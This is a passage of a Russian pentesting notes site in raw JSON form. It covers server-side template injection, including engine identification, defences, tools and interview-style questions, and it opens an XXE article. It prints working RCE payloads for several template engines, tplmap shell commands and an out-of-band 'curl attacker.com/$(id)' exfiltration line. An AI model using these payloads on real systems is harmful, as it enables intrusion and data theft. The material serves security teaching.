уязвимости.",[2277,5397,5398,5408],{},[2280,5399,5400],{},[2283,5401,5402,5404,5406],{},[2286,5403,3250],{},[2286,5405,2291],{},[2286,5407,3255],{},[2293,5409,5410,5422,5432,5445,5458],{},[2283,5411,5412,5416,5419],{},[2298,5413,5414],{},[637,5415,3307],{},[2298,5417,5418],{},"RCE через SSTI = можно делать любые запросы из кода",[2298,5420,5421],{},"Полный доступ к внутренней сети, cloud metadata",[2283,5423,5424,5428,5430],{},[2298,5425,5426],{},[637,5427,3294],{},[2298,5429,3297],{},[2298,5431,3300],{},[2283,5433,5434,5439,5442],{},[2298,5435,5436],{},[637,5437,5438],{},"SSTI → LFI",[2298,5440,5441],{},"Чтение файлов через template (config, env) до достижения RCE",[2298,5443,5444],{},"Утечка секретов",[2283,5446,5447,5452,5455],{},[2298,5448,5449],{},[637,5450,5451],{},"XSS → SSTI",[2298,5453,5454],{},"XSS на клиенте + серверный рендер шаблонов при SSR",[2298,5456,5457],{},"Эскалация клиентской уязвимости",[2283,5459,5460,5465,5468],{},[2298,5461,5462],{},[637,5463,5464],{},"SSTI + WAF bypass",[2298,5466,5467],{},"Обфускация через attr(), hex, dict+join",[2298,5469,5470],{},"Обход защиты",[21,5472,5473,5474,426],{},"Подробнее о SSRF → ",[24,5475,5477],{"href":5476},"\u002Fru\u002Fnotes\u002Fpentesting\u002Fssrf","SSRF (Server-Side Request Forgery)",[1997,5479],{},[16,5481,3358],{"id":3357},[36,5483,5485],{"id":5484},"шаг-1-обнаружение-точек-ввода","Шаг 1: Обнаружение точек ввода",[748,5487,5488,5495,5498,5516],{},[333,5489,5490,5491,5494],{},"Найти все места, где ввод ",[637,5492,5493],{},"отражается"," в ответе",[333,5496,5497],{},"Обратить внимание на: страницы ошибок, профили, поиск, email-шаблоны, PDF-генерацию",[333,5499,5500,5501,973,5504,973,5507,973,5510,973,5513],{},"Проверить параметры: ",[48,5502,5503],{},"name=",[48,5505,5506],{},"message=",[48,5508,5509],{},"template=",[48,5511,5512],{},"email=",[48,5514,5515],{},"greeting=",[333,5517,5518,5519,973,5521,5523],{},"Проверить заголовки: ",[48,5520,2240],{},[48,5522,2230],{}," (редко, но бывает)",[36,5525,5527],{"id":5526},"шаг-2-определение-ssti","Шаг 2: Определение SSTI",[21,5529,5530,5531,215],{},"Подставь payload'ы в ",[637,5532,5533],{},"каждую точку отражения",[41,5535,5538],{"className":5536,"code":5537,"language":46},[44],"# Универсальный набор для обнаружения:\n{{7*7}}\n${7*7}\n\u003C%= 7*7 %>\n{7*7}\n#{7*7}\n${{7*7}}\n",[48,5539,5537],{"__ignoreMap":50},[21,5541,5542,5543,5545],{},"Если видишь ",[48,5544,735],{}," — SSTI подтверждена.",[21,5547,5548],{},"Если ничего — попробуй:",[41,5550,5553],{"className":5551,"code":5552,"language":46},[44],"{{7*7}}         → отражается как {{7*7}}? → не шаблонизатор\n                → ошибка 500? → шаблонизатор есть, но синтаксис неверный\n                → пусто \u002F отфильтровано? → может быть WAF\n",[48,5554,5552],{"__ignoreMap":50},[36,5556,5558],{"id":5557},"шаг-3-идентификация-движка-дерево-решений","Шаг 3: Идентификация движка (дерево решений)",[41,5560,5563],{"className":5561,"code":5562,"language":46},[44],"1. {{7*7}} = 49?\n   ├── Да → {{7*'7'}}\n   │         ├── 7777777 → Jinja2\n   │         └── 49 → Twig\n   └── Нет → ${7*7} = 49?\n              ├── Да → Java (Freemarker\u002FVelocity) или Mako\n              └── Нет → \u003C%= 7*7 %> = 49?\n                         ├── Да → ERB или EJS\n                         └── Нет → {7*7} = 49?\n                                    ├── Да → Smarty\n                                    └── Нет → другой \u002F нет SSTI\n",[48,5564,5562],{"__ignoreMap":50},[21,5566,5567],{},"Дополнительные проверки для уточнения:",[41,5569,5572],{"className":5570,"code":5571,"language":46},[44],"# Java: Freemarker vs Velocity\n${\"freemarker.template.utility.Execute\"?new()(\"id\")}   → работает? → Freemarker\n#set($x=7*7)$x                                         → работает? → Velocity\n\n# Python: Jinja2 vs Mako\n${7*7}  → работает + нет {% %} → Mako\n{{7*7}} → работает → Jinja2\n",[48,5573,5571],{"__ignoreMap":50},[36,5575,5577],{"id":5576},"шаг-4-эксплуатация","Шаг 4: Эксплуатация",[21,5579,5580],{},"Определил движок → используй payload'ы из раздела 6.",[21,5582,5583],{},"Порядок эскалации:",[41,5585,5588],{"className":5586,"code":5587,"language":46},[44],"1. Подтверждение: {{7*7}} → 49\n2. Чтение конфига: config, settings, env\n3. Чтение файлов: \u002Fetc\u002Fpasswd, .env, config.php\n4. RCE: id, whoami\n5. Reverse shell \u002F дальнейшая эксплуатация\n",[48,5589,5587],{"__ignoreMap":50},[36,5591,5593],{"id":5592},"шаг-5-если-не-работает","Шаг 5: Если не работает",[748,5595,5596,5603,5618,5639],{},[333,5597,5598,5599,5602],{},"Попробуй ",[637,5600,5601],{},"другой синтаксис"," — может быть не тот движок",[333,5604,5605,5606,1306,5609,973,5611,973,5613,973,5615,5617],{},"Проверь ",[637,5607,5608],{},"фильтрацию",[48,5610,2396],{},[48,5612,426],{},[48,5614,5039],{},[48,5616,1105],{}," — и используй обходы (раздел 6.1)",[333,5619,5598,5620,5623,5624],{},[637,5621,5622],{},"blind SSTI",": payload выполняется, но результат не отображается\n",[748,5625,5626,5633],{},[333,5627,5628,5629,5632],{},"Тайминг: ",[48,5630,5631],{},"{{ range(10000000) }}"," — страница грузится дольше?",[333,5634,5635,5636],{},"OOB: ",[48,5637,5638],{},"{{ \"\".__class__.__mro__[1].__subclasses__()[IDX](\"curl attacker.com\u002F$(id)\", shell=True) }}",[333,5640,5598,5641,5644,5645,973,5648],{},[637,5642,5643],{},"через заголовки",": тот же payload в ",[48,5646,5647],{},"User-Agent",[48,5649,2230],{},[1997,5651],{},[16,5653,5655],{"id":5654},"_11-защита-от-ssti","11. Защита от SSTI",[36,5657,5659],{"id":5658},"правильный-подход-разделение-данных-и-шаблона","Правильный подход — разделение данных и шаблона",[41,5661,5663],{"className":4070,"code":5662,"language":1144,"meta":50,"style":50},"# БЕЗОПАСНО — ввод как данные\nrender_template(\"hello.html\", name=user_input)\n# Шаблон: \"Привет, {{ name }}!\"\n# user_input = \"{{7*7}}\" → отобразится буквально\n\n# УЯЗВИМО — ввод в самом шаблоне\ntemplate = Template(\"Привет, \" + user_input + \"!\")\ntemplate.render()\n",[48,5664,5665,5670,5675,5680,5685,5689,5694,5699],{"__ignoreMap":50},[308,5666,5667],{"class":310,"line":311},[308,5668,5669],{},"# БЕЗОПАСНО — ввод как данные\n",[308,5671,5672],{"class":310,"line":98},[308,5673,5674],{},"render_template(\"hello.html\", name=user_input)\n",[308,5676,5677],{"class":310,"line":104},[308,5678,5679],{},"# Шаблон: \"Привет, {{ name }}!\"\n",[308,5681,5682],{"class":310,"line":1327},[308,5683,5684],{},"# user_input = \"{{7*7}}\" → отобразится буквально\n",[308,5686,5687],{"class":310,"line":1336},[308,5688,1636],{"emptyLinePlaceholder":112},[308,5690,5691],{"class":310,"line":1349},[308,5692,5693],{},"# УЯЗВИМО — ввод в самом шаблоне\n",[308,5695,5696],{"class":310,"line":1360},[308,5697,5698],{},"template = Template(\"Привет, \" + user_input + \"!\")\n",[308,5700,5701],{"class":310,"line":1366},[308,5702,5703],{},"template.render()\n",[36,5705,5707],{"id":5706},"общие-принципы","Общие принципы",[330,5709,5710,5716,5722,5728,5734],{},[333,5711,5712,5715],{},[637,5713,5714],{},"Никогда не конкатенировать ввод с шаблоном"," — всегда передавать через контекст\u002Fпеременные",[333,5717,5718,5721],{},[637,5719,5720],{},"Sandbox"," — использовать песочницу шаблонизатора (Jinja2 SandboxedEnvironment)",[333,5723,5724,5727],{},[637,5725,5726],{},"Whitelist символов"," — если пользователь пишет шаблоны, ограничить допустимые конструкции",[333,5729,5730,5733],{},[637,5731,5732],{},"Минимальный контекст"," — не передавать в шаблон объекты с опасными методами",[333,5735,5736,5739,5740,973,5742,973,5745,5747],{},[637,5737,5738],{},"WAF"," — фильтрация ",[48,5741,1105],{},[48,5743,5744],{},"${",[48,5746,4661],{}," — но это ненадёжно (обходы существуют)",[36,5749,5751],{"id":5750},"jinja2-sandbox","Jinja2 Sandbox",[41,5753,5755],{"className":4070,"code":5754,"language":1144,"meta":50,"style":50},"from jinja2.sandbox import SandboxedEnvironment\nenv = SandboxedEnvironment()\ntemplate = env.from_string(user_template)\ntemplate.render()\n# Блокирует доступ к __class__, __mro__, __subclasses__ и т.д.\n",[48,5756,5757,5762,5767,5772,5776],{"__ignoreMap":50},[308,5758,5759],{"class":310,"line":311},[308,5760,5761],{},"from jinja2.sandbox import SandboxedEnvironment\n",[308,5763,5764],{"class":310,"line":98},[308,5765,5766],{},"env = SandboxedEnvironment()\n",[308,5768,5769],{"class":310,"line":104},[308,5770,5771],{},"template = env.from_string(user_template)\n",[308,5773,5774],{"class":310,"line":1327},[308,5775,5703],{},[308,5777,5778],{"class":310,"line":1336},[308,5779,5780],{},"# Блокирует доступ к __class__, __mro__, __subclasses__ и т.д.\n",[21,5782,5783,5784,5787,5788,426],{},"Sandbox ",[637,5785,5786],{},"не абсолютная защита"," — исследователи периодически находят обходы. Лучший подход: ",[637,5789,5790],{},"не давать пользователю контроль над шаблоном вообще",[1997,5792],{},[16,5794,3643],{"id":3642},[2277,5796,5797,5805],{},[2280,5798,5799],{},[2283,5800,5801,5803],{},[2286,5802,3652],{},[2286,5804,3655],{},[2293,5806,5807,5816,5825,5834],{},[2283,5808,5809,5813],{},[2298,5810,5811],{},[637,5812,3664],{},[2298,5814,5815],{},"RCE через sandbox escape, reverse shell, доступ к ОС",[2283,5817,5818,5822],{},[2298,5819,5820],{},[637,5821,3674],{},[2298,5823,5824],{},"Чтение произвольных файлов с секретами, доступ к конфигам, переменным окружения",[2283,5826,5827,5831],{},[2298,5828,5829],{},[637,5830,3684],{},[2298,5832,5833],{},"Ограниченное чтение данных, blind SSTI без полного RCE, утечка внутренней информации",[2283,5835,5836,5840],{},[2298,5837,5838],{},[637,5839,3694],{},[2298,5841,5842],{},"Только вычисление выражений без эскалации, отсутствие доступа к ОС",[21,5844,5845,5846,5849],{},"SSTI ",[637,5847,5848],{},"почти всегда Critical"," — потому что sandbox escape существует для большинства движков, и путь от обнаружения до RCE обычно короткий.",[1997,5851],{},[16,5853,3703],{"id":3702},[2277,5855,5856,5864],{},[2280,5857,5858],{},[2283,5859,5860,5862],{},[2286,5861,3712],{},[2286,5863,3715],{},[2293,5865,5866,5876,5886,5896,5906,5916],{},[2283,5867,5868,5873],{},[2298,5869,5870],{},[637,5871,5872],{},"tplmap",[2298,5874,5875],{},"Автоматическое обнаружение и эксплуатация SSTI (поддерживает Jinja2, Twig, Freemarker, Velocity, Smarty, Mako, ERB и др.)",[2283,5877,5878,5883],{},[2298,5879,5880],{},[637,5881,5882],{},"SSTImap",[2298,5884,5885],{},"Форк tplmap с расширенной поддержкой движков",[2283,5887,5888,5893],{},[2298,5889,5890],{},[637,5891,5892],{},"Burp Suite",[2298,5894,5895],{},"Перехват запросов, подстановка payload'ов, Intruder для фаззинга",[2283,5897,5898,5903],{},[2298,5899,5900],{},[637,5901,5902],{},"Burp Collaborator \u002F interactsh",[2298,5904,5905],{},"Подтверждение blind SSTI",[2283,5907,5908,5913],{},[2298,5909,5910],{},[637,5911,5912],{},"PayloadsAllTheThings",[2298,5914,5915],{},"Репозиторий с payload'ами для всех движков",[2283,5917,5918,5923],{},[2298,5919,5920],{},[637,5921,5922],{},"HackTricks",[2298,5924,5925],{},"Справочник по sandbox escape для каждого движка",[36,5927,5929],{"id":5928},"tplmap-автоматизация","tplmap — автоматизация",[41,5931,5933],{"className":658,"code":5932,"language":660,"meta":50,"style":50},"# Обнаружение и идентификация\npython tplmap.py -u \"http:\u002F\u002Ftarget.com\u002Fpage?name=test\"\n\n# С указанием POST-параметра\npython tplmap.py -u \"http:\u002F\u002Ftarget.com\u002Fpage\" -d \"name=test\"\n\n# Получение shell\npython tplmap.py -u \"http:\u002F\u002Ftarget.com\u002Fpage?name=test\" --os-shell\n\n# Чтение файла\npython tplmap.py -u \"http:\u002F\u002Ftarget.com\u002Fpage?name=test\" --os-cmd \"cat \u002Fetc\u002Fpasswd\"\n",[48,5934,5935,5940,5953,5957,5962,5979,5983,5988,6002,6006,6011],{"__ignoreMap":50},[308,5936,5937],{"class":310,"line":311},[308,5938,5939],{"class":1613},"# Обнаружение и идентификация\n",[308,5941,5942,5944,5947,5950],{"class":310,"line":98},[308,5943,1144],{"class":667},[308,5945,5946],{"class":671}," tplmap.py",[308,5948,5949],{"class":678}," -u",[308,5951,5952],{"class":671}," \"http:\u002F\u002Ftarget.com\u002Fpage?name=test\"\n",[308,5954,5955],{"class":310,"line":104},[308,5956,1636],{"emptyLinePlaceholder":112},[308,5958,5959],{"class":310,"line":1327},[308,5960,5961],{"class":1613},"# С указанием POST-параметра\n",[308,5963,5964,5966,5968,5970,5973,5976],{"class":310,"line":1336},[308,5965,1144],{"class":667},[308,5967,5946],{"class":671},[308,5969,5949],{"class":678},[308,5971,5972],{"class":671}," \"http:\u002F\u002Ftarget.com\u002Fpage\"",[308,5974,5975],{"class":678}," -d",[308,5977,5978],{"class":671}," \"name=test\"\n",[308,5980,5981],{"class":310,"line":1349},[308,5982,1636],{"emptyLinePlaceholder":112},[308,5984,5985],{"class":310,"line":1360},[308,5986,5987],{"class":1613},"# Получение shell\n",[308,5989,5990,5992,5994,5996,5999],{"class":310,"line":1366},[308,5991,1144],{"class":667},[308,5993,5946],{"class":671},[308,5995,5949],{"class":678},[308,5997,5998],{"class":671}," \"http:\u002F\u002Ftarget.com\u002Fpage?name=test\"",[308,6000,6001],{"class":678}," --os-shell\n",[308,6003,6004],{"class":310,"line":1452},[308,6005,1636],{"emptyLinePlaceholder":112},[308,6007,6008],{"class":310,"line":1465},[308,6009,6010],{"class":1613},"# Чтение файла\n",[308,6012,6013,6015,6017,6019,6021,6024],{"class":310,"line":1478},[308,6014,1144],{"class":667},[308,6016,5946],{"class":671},[308,6018,5949],{"class":678},[308,6020,5998],{"class":671},[308,6022,6023],{"class":678}," --os-cmd",[308,6025,6026],{"class":671}," \"cat \u002Fetc\u002Fpasswd\"\n",[1997,6028],{},[16,6030,3784],{"id":3783},[21,6032,6033,6036],{},[637,6034,6035],{},"Uber (2016, Bug Bounty):","\nSSTI в Jinja2 через параметр профиля → RCE. Баунти $10,000+.",[21,6038,6039,6042],{},[637,6040,6041],{},"Shopify (2019, Bug Bounty):","\nSSTI в Liquid-шаблонах → чтение внутренних данных через объекты шаблонизатора.",[21,6044,6045,6048,6049,426],{},[637,6046,6047],{},"Adobe (2020, Bug Bounty):","\nSSTI в Freemarker → полный RCE на сервере через ",[48,6050,4357],{},[21,6052,6053,6056],{},[637,6054,6055],{},"PortSwigger Research:","\nМногочисленные исследования sandbox escape в Jinja2, Twig, Freemarker — каждая новая версия закрывает дыры, но исследователи находят новые обходы.",[21,6058,6059,6062],{},[637,6060,6061],{},"Spring Framework (CVE-2022-22963):","\nSpEL-инъекция (аналог SSTI в Thymeleaf) → RCE. Массовая эксплуатация.",[1997,6064],{},[16,6066,3814],{"id":3813},[36,6068,6070],{"id":6069},"что-такое-ssti","Что такое SSTI?",[21,6072,6073,6074,6076,6077,6079,6080,6083,6084,6087],{},"Уязвимость, при которой пользовательский ввод попадает не в данные шаблона, а в сам шаблон — и шаблонизатор интерпретирует его как код. Ввод ",[48,6075,717],{}," превращается в ",[48,6078,735],{}," не потому что приложение это вычислило, а потому что template engine обработал выражение. Ключевое отличие от безопасного использования: ",[48,6081,6082],{},"render(template, data=input)"," — безопасно, ",[48,6085,6086],{},"render(\"Hello \" + input)"," — SSTI.",[36,6089,6091],{"id":6090},"из-за-чего-ssti-обычно-возникает","Из-за чего SSTI обычно возникает?",[21,6093,6094],{},"Конкатенация пользовательского ввода с шаблоном перед рендером, а не передача через параметры\u002Fконтекст. Типичные сценарии: кастомизация email-шаблонов через админку, динамическая сборка страниц из частей в базе данных, \"быстрый фикс\" для вставки текста без добавления нового параметра. Разработчик не различает \"данные для шаблона\" и \"часть шаблона\".",[36,6096,6098],{"id":6097},"как-выглядит-безопасный-паттерн-в-отличие-от-уязвимого","Как выглядит безопасный паттерн в отличие от уязвимого?",[21,6100,6101,6102,6105,6106,6109,6110,973,6112,973,6114,6116],{},"Безопасно: ",[48,6103,6104],{},"render_template(\"page.html\", name=user_input)"," — движок подставляет значение переменной, спецсимволы шаблона не интерпретируются. Уязвимо: ",[48,6107,6108],{},"render_template_string(\"Привет, \" + user_input)"," — движок не может отличить статичный шаблон от пользовательского ввода, всё обрабатывается как единая конструкция. Даже если ввод экранируется от HTML-инъекций — template-синтаксис (",[48,6111,1105],{},[48,6113,5744],{},[48,6115,4661],{},") всё равно выполняется.",[36,6118,6120],{"id":6119},"какие-два-контекста-ssti-важно-различать","Какие два контекста SSTI важно различать?",[21,6122,6123,6126,6127,2683,6130,2683,6133,6136,6137,6140,6141,6144,6145,6148],{},[637,6124,6125],{},"Plaintext context",": ввод находится вне шаблонных конструкций — ",[48,6128,6129],{},"Hello, INPUT",[48,6131,6132],{},"Hello, {{7*7}}",[48,6134,6135],{},"Hello, 49",". Здесь payload работает напрямую. ",[637,6138,6139],{},"Code context",": ввод уже внутри шаблонного выражения — ",[48,6142,6143],{},"Hello, {{INPUT}}"," → нужно сначала \"закрыть\" текущую конструкцию: ",[48,6146,6147],{},"username}}\u003Ctag>",". Если HTML-тег появился в ответе — ввод вышел из выражения и интерпретируется как шаблон.",[36,6150,6152],{"id":6151},"почему-ssti-часто-путают-с-xss","Почему SSTI часто путают с XSS?",[21,6154,6155,6156,6159,6160,973,6162,973,6165,426],{},"Внешне похожи — ввод отражается на странице. Но XSS выполняется в браузере (клиент), а SSTI — на сервере. XSS даёт доступ к DOM, cookies, localStorage. SSTI даёт доступ к файловой системе, ОС, сети — это путь к RCE. При первичном обнаружении отражения важно проверять не только ",[48,6157,6158],{},"\u003Cscript>alert(1)\u003C\u002Fscript>",", но и ",[48,6161,717],{},[48,6163,6164],{},"${7*7}",[48,6166,6167],{},"\u003C%= 7*7 %>",[36,6169,6171],{"id":6170},"почему-для-ssti-критично-определить-конкретный-template-engine","Почему для SSTI критично определить конкретный template engine?",[21,6173,6174,6175,6178,6179,6181,6182,6184,6185,6187],{},"Каждый движок имеет свой синтаксис, доступные объекты, ограничения и пути к RCE. Payload для Jinja2 (",[48,6176,6177],{},"__class__.__mro__",") не работает в Twig или Freemarker. Дерево решений PortSwigger (",[48,6180,746],{}," = ",[48,6183,757],{}," → Jinja2, = ",[48,6186,735],{}," → Twig) позволяет за 2-3 запроса определить движок и выбрать правильные payload'ы. Без идентификации — слепой перебор, который может занять часы.",[36,6189,6191],{"id":6190},"какой-импакт-у-ssti-если-rce-не-достигается","Какой импакт у SSTI, если RCE не достигается?",[21,6193,6194,6195,973,6198,973,6201,6204,6205,6208,6209,6212],{},"Чтение переменных окружения шаблона (",[48,6196,6197],{},"config",[48,6199,6200],{},"settings",[48,6202,6203],{},"env"," — часто содержат секреты, API-ключи, строки подключения к БД). Чтение файлов (в Twig: ",[48,6206,6207],{},"source('\u002Fetc\u002Fpasswd')",", в Jinja2 через ",[48,6210,6211],{},"__subclasses__","). Утечка внутренней информации: версия фреймворка, пути на сервере, имена классов — полезно для дальнейшей атаки. SSTI без RCE — обычно High severity из-за утечки конфиденциальных данных.",[36,6214,6216],{"id":6215},"почему-sandbox-у-template-engine-не-абсолютная-защита","Почему sandbox у template engine — не абсолютная защита?",[21,6218,6219,6220,6223,6224,3483,6227,6230,6231,6234,6235,6238,6239,6242],{},"Sandbox ограничивает доступные операции — но исследователи регулярно находят обходы. В Jinja2 ",[48,6221,6222],{},"SandboxedEnvironment"," блокирует ",[48,6225,6226],{},"__class__",[48,6228,6229],{},"__mro__",", но атрибуты можно получить через ",[48,6232,6233],{},"attr()"," фильтр, hex-кодирование, ",[48,6236,6237],{},"dict+join",". Twig ",[48,6240,6241],{},"SecurityPolicy"," ограничивает фильтры и функции — но новые обходы появляются с каждой версией. Sandbox усложняет эксплуатацию, но не устраняет корневую причину — ввод всё ещё интерпретируется как шаблон.",[36,6244,6246],{"id":6245},"какой-зрелый-ответ-по-защите-от-ssti","Какой зрелый ответ по защите от SSTI?",[21,6248,6249,6250,6253],{},"Главное — ",[637,6251,6252],{},"никогда не конкатенировать ввод с шаблоном",", всегда передавать через контекст\u002Fпеременные. Если пользователь должен писать шаблоны (CMS, email) — использовать logic-less движки (Mustache, Handlebars без хелперов), которые не позволяют выполнять код. Sandbox — дополнительный слой, но не основная защита. Контейнеризация и минимальные привилегии ограничивают blast radius при RCE. Зрелый подход — комбинация: разделение данных и шаблона + logic-less движок или sandbox + контейнерная изоляция.",[1997,6255],{},[16,6257,3930],{"id":3929},[41,6259,6262],{"className":6260,"code":6261,"language":46},[44],"SSTI = пользовательский ввод интерпретируется шаблонизатором как код\n\nСуть уязвимости:\n  render(\"Привет, \" + INPUT)   ← уязвимо (ввод КАК шаблон)\n  render(template, name=INPUT) ← безопасно (ввод как данные)\n\nОбнаружение:\n  {{7*7}}, ${7*7}, \u003C%= 7*7 %>, {7*7}, #{7*7}\n  → видишь 49 → SSTI\n  Polyglot: ${{\u003C%[%'\"}}%\\  → 500 с trace → движок есть\n\nИдентификация (дерево):\n  {{7*'7'}} = 7777777 → Jinja2\n  {{7*'7'}} = 49      → Twig\n  ${7*7}              → Freemarker\u002FMako\n  \u003C%= 7*7 %>          → ERB\u002FEJS\n  \"test\".toUpperCase() → Pebble\n\nSandbox escape (Jinja2):\n  \"\" → __class__ → __mro__ → object → __subclasses__() → Popen → RCE\n  Быстро: {{ cycler.__init__.__globals__.os.popen('id').read() }}\n\nКлючевые payload'ы:\n  Jinja2:     {{ config.__class__.__init__.__globals__['os'].popen('id').read() }}\n  Twig:       {{ ['id'] | filter('system') }}\n  Freemarker: ${\"freemarker.template.utility.Execute\"?new()(\"id\")}\n  ERB:        \u003C%= system(\"id\") %>\n  Mako:       ${__import__(\"os\").popen(\"id\").read()}\n  Pebble:     {{ variable.getClass().forName('java.lang.Runtime').getRuntime().exec('id') }}\n\nBlind SSTI:\n  Тайминг → тяжёлое вычисление \u002F sleep\n  OOB → curl\u002Fnslookup на Collaborator\n\nСвязки:\n  SSTI → SSRF (запросы из кода)\n  SSRF → SSTI (внутренний сервис с шаблонами)\n  SSTI → LFI (чтение файлов до RCE)\n\nИнструменты: tplmap, SSTImap, Burp Suite\nSeverity: почти всегда Critical (SSTI ≈ RCE)\n\nЗащита: ввод через переменные, не через конкатенацию с шаблоном\n",[48,6263,6261],{"__ignoreMap":50},[357,6265,6266],{},"html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .sJ8bj, html code.shiki .sJ8bj{--shiki-default:#6A737D;--shiki-dark:#6A737D}html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}",{"title":50,"searchDepth":98,"depth":98,"links":6268},[6269,6272,6273,6277,6286,6291,6303,6307,6310,6311,6318,6323,6324,6327,6328,6339],{"id":4042,"depth":98,"text":4043,"children":6270},[6271],{"id":4066,"depth":104,"text":4067},{"id":4133,"depth":98,"text":4134},{"id":4226,"depth":98,"text":4227,"children":6274},[6275,6276],{"id":4230,"depth":104,"text":4231},{"id":4504,"depth":104,"text":4505},{"id":4527,"depth":98,"text":4528,"children":6278},[6279,6280,6281,6282,6283,6284],{"id":4531,"depth":104,"text":4532},{"id":4599,"depth":104,"text":4600},{"id":4628,"depth":104,"text":4629},{"id":4686,"depth":104,"text":4687},{"id":4709,"depth":104,"text":4710},{"id":4726,"depth":104,"text":6285},"Ключевой payload: {{7*'7'}}",{"id":4781,"depth":98,"text":4782,"children":6287},[6288,6289],{"id":4785,"depth":104,"text":4786},{"id":4825,"depth":104,"text":6290},"Почему нельзя просто {{ import os; os.system(\"id\") }}",{"id":4855,"depth":98,"text":4856,"children":6292},[6293,6294,6295,6296,6297,6298,6299,6300,6301,6302],{"id":4859,"depth":104,"text":4860},{"id":5028,"depth":104,"text":5029},{"id":5055,"depth":104,"text":5056},{"id":5102,"depth":104,"text":5103},{"id":5145,"depth":104,"text":5146},{"id":5164,"depth":104,"text":5165},{"id":5190,"depth":104,"text":5191},{"id":5228,"depth":104,"text":5229},{"id":5241,"depth":104,"text":5242},{"id":5270,"depth":104,"text":5271},{"id":5316,"depth":98,"text":5317,"children":6304},[6305,6306],{"id":5327,"depth":104,"text":2308},{"id":5339,"depth":104,"text":5340},{"id":5359,"depth":98,"text":5360,"children":6308},[6309],{"id":5381,"depth":104,"text":5382},{"id":3240,"depth":98,"text":3241},{"id":3357,"depth":98,"text":3358,"children":6312},[6313,6314,6315,6316,6317],{"id":5484,"depth":104,"text":5485},{"id":5526,"depth":104,"text":5527},{"id":5557,"depth":104,"text":5558},{"id":5576,"depth":104,"text":5577},{"id":5592,"depth":104,"text":5593},{"id":5654,"depth":98,"text":5655,"children":6319},[6320,6321,6322],{"id":5658,"depth":104,"text":5659},{"id":5706,"depth":104,"text":5707},{"id":5750,"depth":104,"text":5751},{"id":3642,"depth":98,"text":3643},{"id":3702,"depth":98,"text":3703,"children":6325},[6326],{"id":5928,"depth":104,"text":5929},{"id":3783,"depth":98,"text":3784},{"id":3813,"depth":98,"text":3814,"children":6329},[6330,6331,6332,6333,6334,6335,6336,6337,6338],{"id":6069,"depth":104,"text":6070},{"id":6090,"depth":104,"text":6091},{"id":6097,"depth":104,"text":6098},{"id":6119,"depth":104,"text":6120},{"id":6151,"depth":104,"text":6152},{"id":6170,"depth":104,"text":6171},{"id":6190,"depth":104,"text":6191},{"id":6215,"depth":104,"text":6216},{"id":6245,"depth":104,"text":6246},{"id":3929,"depth":98,"text":3930},"Полный разбор SSTI — обнаружение, идентификация движка, sandbox escape, эксплуатация по движкам, blind SSTI, защита. Теория, методология, чит-шит.",{},"\u002Fnotes\u002Fpentesting\u002Fssti",{"title":4034,"description":6340},"notes\u002Fpentesting\u002Fssti",[1141,6346,119,6347,121],"template-injection","sandbox-escape","n0ElmUn-QTmHETC_rkJiXU20rZack0i0wTSMD410btw",{"id":6350,"title":6351,"author":6,"body":6352,"date":4020,"description":8890,"difficulty":110,"extension":109,"image":110,"inProgress":110,"logged":110,"marathonStartDate":110,"meta":8891,"navigation":112,"notes":110,"path":8892,"psTitle":110,"seo":8893,"stem":8894,"tags":8895,"timeSpent":110,"type":4030,"__hash__":8899},"content_ru\u002Fnotes\u002Fpentesting\u002Fxxe.md","XML External Entity (XXE)",{"type":8,"value":6353,"toc":8813},[6354,6357,6361,6368,6374,6385,6398,6400,6404,6408,6415,6419,6424,6471,6476,6530,6574,6584,6588,6603,6614,6620,6624,6630,6633,6638,6718,6720,6724,6728,6747,6749,6801,6805,6808,6814,6819,6830,6832,6836,6840,6847,6872,6874,6880,6884,6890,6895,6930,6933,6948,6951,6987,6996,7000,7007,7042,7045,7059,7066,7072,7078,7082,7092,7154,7157,7161,7167,7189,7211,7214,7218,7266,7269,7272,7286,7288,7292,7296,7303,7306,7309,7329,7349,7355,7357,7361,7365,7403,7406,7410,7441,7444,7461,7463,7467,7471,7487,7493,7497,7506,7509,7513,7516,7545,7548,7578,7585,7589,7595,7598,7600,7604,7608,7613,7619,7624,7630,7634,7640,7644,7650,7655,7657,7661,7668,7672,7702,7706,7732,7736,7746,7749,7751,7755,7758,7841,7845,7851,7877,7888,7892,7895,7914,7917,7921,7923,7927,7931,7949,7953,7956,7982,7989,7991,8055,8057,8063,8065,8100,8102,8106,8110,8115,8132,8137,8145,8150,8159,8164,8179,8184,8201,8206,8217,8221,8250,8260,8267,8271,8461,8463,8512,8514,8518,8570,8572,8576,8645,8647,8651,8660,8665,8671,8676,8678,8682,8686,8692,8696,8703,8707,8721,8725,8728,8732,8735,8739,8750,8754,8760,8764,8777,8781,8784,8788,8799,8801,8805,8811],[11,6355,6351],{"id":6356},"xml-external-entity-xxe",[16,6358,6360],{"id":6359},"_1-что-такое-xxe","1. Что такое XXE",[21,6362,6363,6364,6367],{},"XXE — уязвимость, при которой XML-парсер ",[637,6365,6366],{},"резолвит внешние сущности",", позволяя атакующему читать файлы, делать серверные запросы и (иногда) выполнять код.",[41,6369,6372],{"className":6370,"code":6371,"language":46},[44],"Атакующий → XML с вредоносным DTD → Парсер → Резолвит сущность\n                                                ↓\n                                    file:\u002F\u002F\u002Fetc\u002Fpasswd\n                                    http:\u002F\u002F169.254.169.254\u002F...\n                                    http:\u002F\u002Finternal-service\u002F...\n",[48,6373,6371],{"__ignoreMap":50},[21,6375,6376,6377,6380,6381,6384],{},"Ключевое: парсер ",[637,6378,6379],{},"сам"," идёт за данными по URL из ",[48,6382,6383],{},"SYSTEM"," — атакующий лишь указывает 